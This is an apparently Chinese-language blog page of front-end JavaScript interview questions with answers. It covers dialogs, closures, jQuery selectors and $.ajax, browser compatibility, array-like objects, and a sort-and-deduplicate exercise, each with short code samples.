<p>&#x53D8;&#x91CF;&#xFF0C;&#x51FD;&#x6570;&#xFF0C;&#x65B9;&#x6CD5;&#xFF1A;&#x5C0F;&#x5199;&#x5F00;&#x5934;&#xFF0C;&#x4EE5;&#x540E;&#x7684;&#x6BCF;&#x4E2A;&#x5355;&#x8BCD;&#x9996;&#x5B57;&#x6BCD;&#x5927;&#x5199; &#xFF08;&#x9A7C;&#x5CF0;&#xFF09;<br>&#x6784;&#x9020;&#x51FD;&#x6570;&#xFF0C;class&#xFF1A;&#x6BCF;&#x4E2A;&#x5355;&#x8BCD;&#x5927;&#x5199;&#x5F00;&#x5934;<br>&#x57FA;&#x4E8E;&#x5B9E;&#x9645;&#x60C5;&#x51B5;&#xFF0C;&#x4EE5;&#x52A8;&#x8BCD;&#xFF0C;&#x540D;&#x8BCD;&#xFF0C;&#x8C13;&#x8BCD;&#x6765;&#x547D;&#x540D;&#x3002;&#x5C3D;&#x91CF;&#x8A00;&#x7B80;&#x610F;&#x9A87;&#xFF0C;&#x4EE5;&#x547D;&#x540D;&#x4EE3;&#x66FF;&#x6CE8;&#x91CA;</p>
</blockquote>
<h2 id="&#x4E09;&#x79CD;&#x5F39;&#x7A97;&#x7684;&#x5355;&#x8BCD;&#x4EE5;&#x53CA;&#x4E09;&#x79CD;&#x5F39;&#x7A97;&#x7684;&#x529F;&#x80FD;"><a href="#&#x4E09;&#x79CD;&#x5F39;&#x7A97;&#x7684;&#x5355;&#x8BCD;&#x4EE5;&#x53CA;&#x4E09;&#x79CD;&#x5F39;&#x7A97;&#x7684;&#x529F;&#x80FD;" class="headerlink" title="&#x4E09;&#x79CD;&#x5F39;&#x7A97;&#x7684;&#x5355;&#x8BCD;&#x4EE5;&#x53CA;&#x4E09;&#x79CD;&#x5F39;&#x7A97;&#x7684;&#x529F;&#x80FD;"></a>&#x4E09;&#x79CD;&#x5F39;&#x7A97;&#x7684;&#x5355;&#x8BCD;&#x4EE5;&#x53CA;&#x4E09;&#x79CD;&#x5F39;&#x7A97;&#x7684;&#x529F;&#x80FD;</h2><p>1) alert  </p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="comment">//&#x5F39;&#x51FA;&#x5BF9;&#x8BDD;&#x6846;&#x5E76;&#x8F93;&#x51FA;&#x4E00;&#x6BB5;&#x63D0;&#x793A;&#x4FE1;&#x606F;  </span></div><div class="line">  <span class="function"><span class="keyword">function</span> <span class="title">ale</span>(<span class="params"></span>) </span>{  </div><div class="line">    <span class="comment">//&#x5F39;&#x51FA;&#x4E00;&#x4E2A;&#x5BF9;&#x8BDD;&#x6846;  </span></div><div class="line">    alert(<span class="string">&quot;&#x63D0;&#x793A;&#x4FE1;&#x606F;&#xFF01;&quot;</span>);  </div><div class="line">  }</div></pre></td></tr></table></figure>
<p>2) confirm</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="comment">//&#x5F39;&#x51FA;&#x4E00;&#x4E2A;&#x8BE2;&#x95EE;&#x6846;&#xFF0C;&#x6709;&#x786E;&#x5B9A;&#x548C;&#x53D6;&#x6D88;&#x6309;&#x94AE;  </span></div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">firm</span>(<span class="params"></span>) </span>{  </div><div class="line">  <span class="comment">//&#x5229;&#x7528;&#x5BF9;&#x8BDD;&#x6846;&#x8FD4;&#x56DE;&#x7684;&#x503C; &#xFF08;true &#x6216;&#x8005; false&#xFF09;  </span></div><div class="line">  <span class="keyword">if</span> (confirm(<span class="string">&quot;&#x4F60;&#x786E;&#x5B9A;&#x63D0;&#x4EA4;&#x5417;&#xFF1F;&quot;</span>)) {  </div><div class="line">    alert(<span class="string">&quot;&#x70B9;&#x51FB;&#x4E86;&#x786E;&#x5B9A;&quot;</span>);  </div><div class="line">  }  </div><div class="line">  <span class="keyword">else</span> {  </div><div class="line">    alert(<span class="string">&quot;&#x70B9;&#x51FB;&#x4E86;&#x53D6;&#x6D88;&quot;</span>);  </div><div class="line">  }  </div><div class="line">}</div></pre></td></tr></table></figure>
<p>3) prompt</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="comment">//&#x5F39;&#x51FA;&#x4E00;&#x4E2A;&#x8F93;&#x5165;&#x6846;&#xFF0C;&#x8F93;&#x5165;&#x4E00;&#x6BB5;&#x6587;&#x5B57;&#xFF0C;&#x53EF;&#x4EE5;&#x63D0;&#x4EA4;  </span></div><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">prom</span>(<span class="params"></span>) </span>{  </div><div class="line">  <span class="keyword">var</span> name = prompt(<span class="string">&quot;&#x8BF7;&#x8F93;&#x5165;&#x60A8;&#x7684;&#x540D;&#x5B57;&quot;</span>, <span class="string">&quot;&quot;</span>); <span class="comment">//&#x5C06;&#x8F93;&#x5165;&#x7684;&#x5185;&#x5BB9;&#x8D4B;&#x7ED9;&#x53D8;&#x91CF; name &#xFF0C;  </span></div><div class="line">  <span class="comment">//&#x8FD9;&#x91CC;&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;prompt&#x6709;&#x4E24;&#x4E2A;&#x53C2;&#x6570;&#xFF0C;&#x524D;&#x9762;&#x662F;&#x63D0;&#x793A;&#x7684;&#x8BDD;&#xFF0C;&#x540E;&#x9762;&#x662F;&#x5F53;&#x5BF9;&#x8BDD;&#x6846;&#x51FA;&#x6765;&#x540E;&#xFF0C;&#x5728;&#x5BF9;&#x8BDD;&#x6846;&#x91CC;&#x7684;&#x9ED8;&#x8BA4;&#x503C;  </span></div><div class="line">  <span class="keyword">if</span> (name)<span class="comment">//&#x5982;&#x679C;&#x8FD4;&#x56DE;&#x7684;&#x6709;&#x5185;&#x5BB9;  </span></div><div class="line">  {  </div><div class="line">    alert(<span class="string">&quot;&#x6B22;&#x8FCE;&#x60A8;&#xFF1A;&quot;</span> + name)  </div><div class="line">  }</div><div class="line">}</div></pre></td></tr></table></figure>
<h2 id="&#x8F93;&#x51FA;&#x503C;&#x662F;"><a href="#&#x8F93;&#x51FA;&#x503C;&#x662F;" class="headerlink" title="&#x8F93;&#x51FA;&#x503C;&#x662F;"></a>&#x8F93;&#x51FA;&#x503C;&#x662F;</h2><blockquote>
<p>console.log( 8 | 1 ); // 9</p>
</blockquote>
<h2 id="&#x6C42;&#x4E00;&#x4E2A;&#x51FD;&#x6570;-y-f-x-a-b"><a href="#&#x6C42;&#x4E00;&#x4E2A;&#x51FD;&#x6570;-y-f-x-a-b" class="headerlink" title="&#x6C42;&#x4E00;&#x4E2A;&#x51FD;&#x6570; y = f(x, a, b);"></a>&#x6C42;&#x4E00;&#x4E2A;&#x51FD;&#x6570; y = f(x, a, b);</h2><p>&#x53EA;&#x5141;&#x8BB8;&#x4F7F;&#x7528; + - <em> / &#x548C; Math.</em>&#xFF0C;&#x5F53;x &gt; 100 &#x65F6;&#x8FD4;&#x56DE; a &#x7684;&#x503C;&#xFF0C;&#x5426;&#x5219;&#x8FD4;&#x56DE; b &#x7684;&#x503C;&#xFF0C;&#x4E0D;&#x80FD;&#x4F7F;&#x7528; if else &#x7B49;&#x6761;&#x4EF6;&#x8BED;&#x53E5;&#xFF0C;&#x4E5F;&#x4E0D;&#x80FD;&#x4F7F;&#x7528; |, ? :, &#x6570;&#x7EC4;&#x3002;</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">f</span>(<span class="params">x, a, b</span>) </span>{</div><div class="line">  <span class="keyword">var</span> temp = <span class="built_in">Math</span>.ceil(<span class="built_in">Math</span>.min(<span class="built_in">Math</span>.max(x - <span class="number">100</span>, <span class="number">0</span>), <span class="number">1</span>));</div><div class="line">  <span class="keyword">return</span> a * temp + b * (<span class="number">1</span> - temp);</div><div class="line">}</div><div class="line"><span class="built_in">console</span>.log(f(<span class="number">-10</span>, <span class="number">1</span>, <span class="number">2</span>));</div></pre></td></tr></table></figure>
<h2 id="JavaScript-alert-0-4-0-2-&#x7ED3;&#x679C;&#x662F;&#x591A;&#x5C11;-&#x5982;&#x4F55;&#x5904;&#x7406;"><a href="#JavaScript-alert-0-4-0-2-&#x7ED3;&#x679C;&#x662F;&#x591A;&#x5C11;-&#x5982;&#x4F55;&#x5904;&#x7406;" class="headerlink" title="JavaScript alert(0.4*0.2); &#x7ED3;&#x679C;&#x662F;&#x591A;&#x5C11;? &#x5982;&#x4F55;&#x5904;&#x7406;"></a>JavaScript alert(0.4*0.2); &#x7ED3;&#x679C;&#x662F;&#x591A;&#x5C11;? &#x5982;&#x4F55;&#x5904;&#x7406;</h2><blockquote>
<p>&#x6709;&#x8BEF;&#x5DEE;&#xFF0C;&#x5E94;&#x8BE5;&#x6BD4;&#x51C6;&#x786E;&#x7ED3;&#x679C;&#x504F;&#x5927;&#x3002;<br>&#x4E00;&#x822C;&#x6211;&#x4F1A;&#x5C06;&#x5C0F;&#x6570;&#x53D8;&#x4E3A;&#x6574;&#x6570;&#x6765;&#x5904;&#x7406;&#x3002;<br>&#x5F53;&#x524D;&#x4E4B;&#x524D;&#x9047;&#x5230;&#x8FD9;&#x4E2A;&#x95EE;&#x9898;&#x65F6;&#x4E5F;&#x4E0A;&#x7F51;&#x67E5;&#x8BE2;&#x53D1;&#x73B0;&#x6709;&#x4EBA;&#x7528;try catch return&#x5199;&#x4E86;&#x4E00;&#x4E2A;&#x51FD;&#x6570;&#xFF0C;<br>&#x5F53;&#x7136;&#x539F;&#x7406;&#x4E5F;&#x662F;&#x4E00;&#x81F4;&#x5148;&#x8F6C;&#x4E3A;&#x6574;&#x6570;&#x518D;&#x8BA1;&#x7B97;&#x3002;</p>
</blockquote>
<h2 id="&#x4E00;&#x4E2A;div&#xFF0C;&#x6709;&#x51E0;&#x79CD;&#x65B9;&#x5F0F;&#x5F97;&#x5230;&#x8FD9;&#x4E2A;-div-&#x7684;-jQuery-&#x5BF9;&#x8C61;&#xFF1F;"><a href="#&#x4E00;&#x4E2A;div&#xFF0C;&#x6709;&#x51E0;&#x79CD;&#x65B9;&#x5F0F;&#x5F97;&#x5230;&#x8FD9;&#x4E2A;-div-&#x7684;-jQuery-&#x5BF9;&#x8C61;&#xFF1F;" class="headerlink" title="&#x4E00;&#x4E2A;div&#xFF0C;&#x6709;&#x51E0;&#x79CD;&#x65B9;&#x5F0F;&#x5F97;&#x5230;&#x8FD9;&#x4E2A; div &#x7684; jQuery &#x5BF9;&#x8C61;&#xFF1F;"></a>&#x4E00;&#x4E2A;div&#xFF0C;&#x6709;&#x51E0;&#x79CD;&#x65B9;&#x5F0F;&#x5F97;&#x5230;&#x8FD9;&#x4E2A; div &#x7684; jQuery &#x5BF9;&#x8C61;&#xFF1F;</h2><p><code>&lt;div class=&apos;aabbcc&apos; id=&apos;nodesView&apos;&gt;&lt;/div&gt;</code></p>
<p>&#x60F3;&#x76F4;&#x63A5;&#x83B7;&#x53D6;&#x8FD9;&#x4E2A;div&#x7684;dom&#x5BF9;&#x8C61;&#xFF0C;&#x5982;&#x4F55;&#x83B7;&#x53D6;&#xFF1F;dom&#x5BF9;&#x8C61;&#x5982;&#x4F55;&#x8F6C;&#x5316;&#x4E3A;jQuery&#x5BF9;&#x8C61;&#xFF1F;</p>
<blockquote>
<p>$(&#x201C;#nodesView&#x201D;)<br>$(&#x201C;.aabbcc&#x201D;)<br>$(&#x201C;#nodesView&#x201D;)[0]<br>$(&#x201C;.aabbcc&#x201D;)[0]</p>
</blockquote>
<h2 id="jQuery-&#x6846;&#x67B6;&#x4E2D;-ajax-&#x7684;&#x5E38;&#x7528;&#x53C2;&#x6570;&#x6709;&#x54EA;&#x4E9B;"><a href="#jQuery-&#x6846;&#x67B6;&#x4E2D;-ajax-&#x7684;&#x5E38;&#x7528;&#x53C2;&#x6570;&#x6709;&#x54EA;&#x4E9B;" class="headerlink" title="jQuery &#x6846;&#x67B6;&#x4E2D; $.ajax()&#x7684;&#x5E38;&#x7528;&#x53C2;&#x6570;&#x6709;&#x54EA;&#x4E9B;"></a>jQuery &#x6846;&#x67B6;&#x4E2D; $.ajax()&#x7684;&#x5E38;&#x7528;&#x53C2;&#x6570;&#x6709;&#x54EA;&#x4E9B;</h2><p>&#x5199;&#x4E00;&#x4E2A;post&#x8BF7;&#x6C42;&#x5E76;&#x5E26;&#x6709;&#x53D1;&#x9001;&#x6570;&#x636E;&#x548C;&#x8FD4;&#x56DE;&#x6570;&#x636E;&#x7684;&#x6837;&#x4F8B;</p>
<blockquote>
<p>async&#x662F;&#x5426;&#x5F02;&#x6B65;<br>url&#x8BF7;&#x6C42;&#x5730;&#x5740;<br>contentType&#x53D1;&#x9001;&#x4FE1;&#x606F;&#x81F3;&#x670D;&#x52A1;&#x5668;&#x65F6;&#x5185;&#x5BB9;&#x7F16;&#x7801;&#x7C7B;&#x578B;<br>data&#x53D1;&#x9001;&#x5230;&#x670D;&#x52A1;&#x5668;&#x7684;&#x6570;&#x636E;<br>dataType&#x9884;&#x671F;&#x670D;&#x52A1;&#x5668;&#x8FD4;&#x56DE;&#x7684;&#x6570;&#x636E;&#x7C7B;&#x578B;<br>type&#x8BF7;&#x6C42;&#x7C7B;&#x578B;<br>success&#x8BF7;&#x6C42;&#x6210;&#x529F;&#x56DE;&#x8C03;&#x51FD;&#x6570;<br>error&#x8BF7;&#x6C42;&#x5931;&#x8D25;&#x56DE;&#x8C03;&#x51FD;&#x6570;</p>
</blockquote>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line">$.ajax({</div><div class="line">  <span class="attr">url</span>: <span class="string">&quot;/jquery/test1.txt&quot;</span>,</div><div class="line">  <span class="attr">type</span>: <span class="string">&apos;post&apos;</span>,</div><div class="line">  <span class="attr">data</span>: {</div><div class="line">      <span class="attr">id</span>: <span class="number">1</span></div><div class="line">  },</div><div class="line">  <span class="attr">success</span>: <span class="function"><span class="keyword">function</span>(<span class="params">data</span>) </span>{</div><div class="line">    alert(data);</div><div class="line">  }</div><div class="line">});</div></pre></td></tr></table></figure>
<h2 id="&#x95ED;&#x5305;"><a href="#&#x95ED;&#x5305;" class="headerlink" title="&#x95ED;&#x5305;"></a>&#x95ED;&#x5305;</h2><p>&#x4E0B;&#x9762;&#x8FD9;&#x4E2A;ul&#xFF0C;&#x5982;&#x4F55;&#x70B9;&#x51FB;&#x6BCF;&#x4E00;&#x5217;&#x7684;&#x65F6;&#x5019; alert &#x5176; index</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line"><span class="tag">&lt;<span class="name">ul</span> <span class="attr">id</span>=<span class="string">&quot;test&quot;</span>&gt;</span></div><div class="line">  <span class="tag">&lt;<span class="name">li</span>&gt;</span>&#x8FD9;&#x662F;&#x7B2C;&#x4E00;&#x6761;<span class="tag">&lt;/<span class="name">li</span>&gt;</span></div><div class="line">  <span class="tag">&lt;<span class="name">li</span>&gt;</span>&#x8FD9;&#x662F;&#x7B2C;&#x4E8C;&#x6761;<span class="tag">&lt;/<span class="name">li</span>&gt;</span></div><div class="line">  <span class="tag">&lt;<span class="name">li</span>&gt;</span>&#x8FD9;&#x662F;&#x7B2C;&#x4E09;&#x6761;<span class="tag">&lt;/<span class="name">li</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">ul</span>&gt;</span></div><div class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="javascript"></span></div><div class="line">  <span class="built_in">window</span>.onload = <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>{</div><div class="line">    <span class="keyword">var</span> lis = <span class="built_in">document</span>.getElementById(<span class="string">&apos;test&apos;</span>).children;</div><div class="line">    <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; lis.length; i++) {</div><div class="line">      lis[i].onclick = (<span class="function"><span class="keyword">function</span>(<span class="params">i</span>) </span>{</div><div class="line">        <span class="keyword">return</span> <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>{</div><div class="line">          alert(i)</div><div class="line">        };</div><div class="line">      })(i);</div><div class="line">    };</div><div class="line">  }</div><div class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></div></pre></td></tr></table></figure>
<h2 id="&#x5217;&#x51FA;3&#x6761;&#x4EE5;&#x4E0A;-ff-&#x548C;-IE-&#x7684;&#x811A;&#x672C;&#x517C;&#x5BB9;&#x95EE;&#x9898;"><a href="#&#x5217;&#x51FA;3&#x6761;&#x4EE5;&#x4E0A;-ff-&#x548C;-IE-&#x7684;&#x811A;&#x672C;&#x517C;&#x5BB9;&#x95EE;&#x9898;" class="headerlink" title="&#x5217;&#x51FA;3&#x6761;&#x4EE5;&#x4E0A; ff &#x548C; IE &#x7684;&#x811A;&#x672C;&#x517C;&#x5BB9;&#x95EE;&#x9898;"></a>&#x5217;&#x51FA;3&#x6761;&#x4EE5;&#x4E0A; ff &#x548C; IE &#x7684;&#x811A;&#x672C;&#x517C;&#x5BB9;&#x95EE;&#x9898;</h2><p>(1) window.event&#xFF1A; </p>
<blockquote>
<p>&#x8868;&#x793A;&#x5F53;&#x524D;&#x7684;&#x4E8B;&#x4EF6;&#x5BF9;&#x8C61;&#xFF0C;IE&#x6709;&#x8FD9;&#x4E2A;&#x5BF9;&#x8C61;&#xFF0C;FF&#x6CA1;&#x6709;&#xFF0C;FF&#x901A;&#x8FC7;&#x7ED9;&#x4E8B;&#x4EF6;&#x5904;&#x7406;&#x51FD;&#x6570;&#x4F20;&#x9012;&#x4E8B;&#x4EF6;&#x5BF9;&#x8C61; </p>
</blockquote>
<p>(2) &#x83B7;&#x53D6;&#x4E8B;&#x4EF6;&#x6E90; </p>
<blockquote>
<p>IE&#x7528;srcElement&#x83B7;&#x53D6;&#x4E8B;&#x4EF6;&#x6E90;&#xFF0C;&#x800C;FF&#x7528;target&#x83B7;&#x53D6;&#x4E8B;&#x4EF6;&#x6E90; </p>
</blockquote>
<p>(3) &#x6DFB;&#x52A0;&#xFF0C;&#x53BB;&#x9664;&#x4E8B;&#x4EF6; </p>
<blockquote>
<p>IE&#xFF1A;element.attachEvent(&#x201C;onclick&#x201D;, function) element.detachEvent(&#x201C;onclick&#x201D;, function)<br>FF&#xFF1A;element.addEventListener(&#x201C;click&#x201D;, function, true) element.removeEventListener(&#x201C;click&#x201D;, function, true) </p>
</blockquote>
<p>(4) &#x83B7;&#x53D6;&#x6807;&#x7B7E;&#x7684;&#x81EA;&#x5B9A;&#x4E49;&#x5C5E;&#x6027;</p>
<blockquote>
<p>IE&#xFF1A;div1.value&#x6216;div1[&#x201C;value&#x201D;]<br>FF&#xFF1A;&#x53EF;&#x7528;div1.getAttribute(&#x201C;value&#x201D;);</p>
</blockquote>
<h2 id="&#x5217;&#x4E3E;&#x6D4F;&#x89C8;&#x5668;&#x5BF9;&#x8C61;&#x6A21;&#x578B;BOM&#x91CC;&#x5E38;&#x7528;&#x7684;&#x81F3;&#x5C11;4&#x4E2A;&#x5BF9;&#x8C61;&#xFF0C;&#x5E76;&#x5217;&#x4E3E;window&#x5BF9;&#x8C61;&#x7684;&#x5E38;&#x7528;&#x65B9;&#x6CD5;&#x81F3;&#x5C11;5&#x4E2A;"><a href="#&#x5217;&#x4E3E;&#x6D4F;&#x89C8;&#x5668;&#x5BF9;&#x8C61;&#x6A21;&#x578B;BOM&#x91CC;&#x5E38;&#x7528;&#x7684;&#x81F3;&#x5C11;4&#x4E2A;&#x5BF9;&#x8C61;&#xFF0C;&#x5E76;&#x5217;&#x4E3E;window&#x5BF9;&#x8C61;&#x7684;&#x5E38;&#x7528;&#x65B9;&#x6CD5;&#x81F3;&#x5C11;5&#x4E2A;" class="headerlink" title="&#x5217;&#x4E3E;&#x6D4F;&#x89C8;&#x5668;&#x5BF9;&#x8C61;&#x6A21;&#x578B;BOM&#x91CC;&#x5E38;&#x7528;&#x7684;&#x81F3;&#x5C11;4&#x4E2A;&#x5BF9;&#x8C61;&#xFF0C;&#x5E76;&#x5217;&#x4E3E;window&#x5BF9;&#x8C61;&#x7684;&#x5E38;&#x7528;&#x65B9;&#x6CD5;&#x81F3;&#x5C11;5&#x4E2A;"></a>&#x5217;&#x4E3E;&#x6D4F;&#x89C8;&#x5668;&#x5BF9;&#x8C61;&#x6A21;&#x578B;BOM&#x91CC;&#x5E38;&#x7528;&#x7684;&#x81F3;&#x5C11;4&#x4E2A;&#x5BF9;&#x8C61;&#xFF0C;&#x5E76;&#x5217;&#x4E3E;window&#x5BF9;&#x8C61;&#x7684;&#x5E38;&#x7528;&#x65B9;&#x6CD5;&#x81F3;&#x5C11;5&#x4E2A;</h2><blockquote>
<p>&#x5BF9;&#x8C61;&#xFF1A;Window document location screen history navigator<br>&#x65B9;&#x6CD5;&#xFF1A;Alert() confirm() prompt() open() close() </p>
</blockquote>
<h2 id="&#x5728;Javascript&#x4E2D;&#x4EC0;&#x4E48;&#x662F;&#x4F2A;&#x6570;&#x7EC4;&#xFF1F;&#x5982;&#x4F55;&#x5C06;&#x4F2A;&#x6570;&#x7EC4;&#x8F6C;&#x5316;&#x4E3A;&#x6807;&#x51C6;&#x6570;&#x7EC4;&#xFF1F;"><a href="#&#x5728;Javascript&#x4E2D;&#x4EC0;&#x4E48;&#x662F;&#x4F2A;&#x6570;&#x7EC4;&#xFF1F;&#x5982;&#x4F55;&#x5C06;&#x4F2A;&#x6570;&#x7EC4;&#x8F6C;&#x5316;&#x4E3A;&#x6807;&#x51C6;&#x6570;&#x7EC4;&#xFF1F;" class="headerlink" title="&#x5728;Javascript&#x4E2D;&#x4EC0;&#x4E48;&#x662F;&#x4F2A;&#x6570;&#x7EC4;&#xFF1F;&#x5982;&#x4F55;&#x5C06;&#x4F2A;&#x6570;&#x7EC4;&#x8F6C;&#x5316;&#x4E3A;&#x6807;&#x51C6;&#x6570;&#x7EC4;&#xFF1F;"></a>&#x5728;Javascript&#x4E2D;&#x4EC0;&#x4E48;&#x662F;&#x4F2A;&#x6570;&#x7EC4;&#xFF1F;&#x5982;&#x4F55;&#x5C06;&#x4F2A;&#x6570;&#x7EC4;&#x8F6C;&#x5316;&#x4E3A;&#x6807;&#x51C6;&#x6570;&#x7EC4;&#xFF1F;</h2><blockquote>
<p>&#x4F2A;&#x6570;&#x7EC4;&#xFF08;&#x7C7B;&#x6570;&#x7EC4;&#xFF09;&#xFF1A;&#x65E0;&#x6CD5;&#x76F4;&#x63A5;&#x8C03;&#x7528;&#x6570;&#x7EC4;&#x65B9;&#x6CD5;&#x6216;&#x671F;&#x671B;length&#x5C5E;&#x6027;&#x6709;&#x4EC0;&#x4E48;&#x7279;&#x6B8A;&#x7684;&#x884C;&#x4E3A;&#xFF0C;&#x4F46;&#x4ECD;&#x53EF;&#x4EE5;&#x5BF9;&#x771F;&#x6B63;&#x6570;&#x7EC4;&#x904D;&#x5386;&#x65B9;&#x6CD5;&#x6765;&#x904D;&#x5386;&#x5B83;&#x4EEC;&#x3002;<br>&#x5178;&#x578B;&#x7684;&#x662F;&#x51FD;&#x6570;&#x7684;argument&#x53C2;&#x6570;&#xFF0C;&#x8FD8;&#x6709;&#x50CF;&#x8C03;&#x7528;getElementsByTagName,document.childNodes&#x4E4B;&#x7C7B;&#x7684;,&#x5B83;&#x4EEC;&#x90FD;&#x8FD4;&#x56DE;NodeList&#x5BF9;&#x8C61;&#x90FD;&#x5C5E;&#x4E8E;&#x4F2A;&#x6570;&#x7EC4;&#x3002;<br>&#x53EF;&#x4EE5;&#x4F7F;&#x7528;Array.prototype.slice.call(fakeArray)&#x5C06;&#x6570;&#x7EC4;&#x8F6C;&#x5316;&#x4E3A;&#x771F;&#x6B63;&#x7684;Array&#x5BF9;&#x8C61;&#x3002;</p>
</blockquote>
<h2 id="&#x5199;&#x4E00;&#x4E2A;&#x51FD;&#x6570;&#x53EF;&#x4EE5;&#x8BA1;&#x7B97;-sum-5-0-5-&#x8F93;&#x51FA;0-sum-1-2-3-4-&#x8F93;&#x51FA;10"><a href="#&#x5199;&#x4E00;&#x4E2A;&#x51FD;&#x6570;&#x53EF;&#x4EE5;&#x8BA1;&#x7B97;-sum-5-0-5-&#x8F93;&#x51FA;0-sum-1-2-3-4-&#x8F93;&#x51FA;10" class="headerlink" title="&#x5199;&#x4E00;&#x4E2A;&#x51FD;&#x6570;&#x53EF;&#x4EE5;&#x8BA1;&#x7B97; sum(5, 0, -5); &#x8F93;&#x51FA;0; sum(1,2,3,4); &#x8F93;&#x51FA;10;"></a>&#x5199;&#x4E00;&#x4E2A;&#x51FD;&#x6570;&#x53EF;&#x4EE5;&#x8BA1;&#x7B97; sum(5, 0, -5); &#x8F93;&#x51FA;0; sum(1,2,3,4); &#x8F93;&#x51FA;10;</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">sum</span>(<span class="params"></span>) </span>{</div><div class="line">  <span class="keyword">var</span> result = <span class="number">0</span>;</div><div class="line">  <span class="keyword">var</span> arr = <span class="built_in">arguments</span>;</div><div class="line">  <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; arr.length; i++) {</div><div class="line">    <span class="keyword">var</span> num = <span class="built_in">arguments</span>[i];</div><div class="line">    <span class="keyword">if</span> (<span class="keyword">typeof</span> num==<span class="string">&apos;number&apos;</span>) {</div><div class="line">      result += num;</div><div class="line">    };</div><div class="line">  };</div><div class="line">  <span class="keyword">return</span> result;</div><div class="line">}</div></pre></td></tr></table></figure>
<h2 id="&#x7B97;&#x6CD5;"><a href="#&#x7B97;&#x6CD5;" class="headerlink" title="&#x7B97;&#x6CD5;"></a>&#x7B97;&#x6CD5;</h2><p>&#x5199;&#x51FA;&#x4EE3;&#x7801;&#x5BF9;&#x4E0B;&#x5217;&#x6570;&#x7EC4;&#x53BB;&#x91CD;&#x5E76;&#x4ECE;&#x5927;&#x5230;&#x5C0F;&#x6392;&#x5217; {5,2,3,6,8,6,5,4,7,1,9}</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">function</span> <span class="title">fn</span>(<span class="params">arr</span>)</span>{</div><div class="line">  <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; arr.length<span class="number">-1</span>; i++) {</div><div class="line">    <span class="keyword">for</span> (<span class="keyword">var</span> j = <span class="number">0</span>; j &lt; arr.length<span class="number">-1</span>-i; j++) {</div><div class="line">      <span class="keyword">if</span>(arr[j] &lt; arr[j+<span class="number">1</span>]){</div><div class="line">        <span class="keyword">var</span> temp = arr[j];</div><div class="line">        arr[j] = arr[j+<span class="number">1</span>];</div><div class="line">        arr[j+<span class="number">1</span>] = temp;</div><div class="line">      }</div><div class="line">    }</div><div class="line">  }</div><div class="line">  <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; arr.length; i++) {</div><div class="line">    <span class="keyword">var</span> c = arr[i];</div><div class="line">    <span class="keyword">for</span> (<span class="keyword">var</span> s = i + <span class="number">1</span>; s &lt; arr.length; s++) {</div><div class="line">      <span class="keyword">if</span>(arr[s] == c){</div><div class="line">        <span class="comment">//debugger;</span></div><div class="line">        arr.splice(s,<span class="number">1</span>);</div><div class="line">        s--;</div><div class="line">      }</div><div class="line">    }</div><div class="line">  }</div><div class="line">  <span class="keyword">return</span> arr;</div><div class="line">}</div><div class="line"><span class="built_in">console</span>.log(fn([<span class="number">5</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">6</span>,<span class="number">8</span>,<span class="number">6</span>,<span class="number">5</span>,<span class="number">4</span>,<span class="number">7</span>,<span class="number">1</span>,<span class="number">9</span>]).toString());</div></pre></td></tr></table></figure>
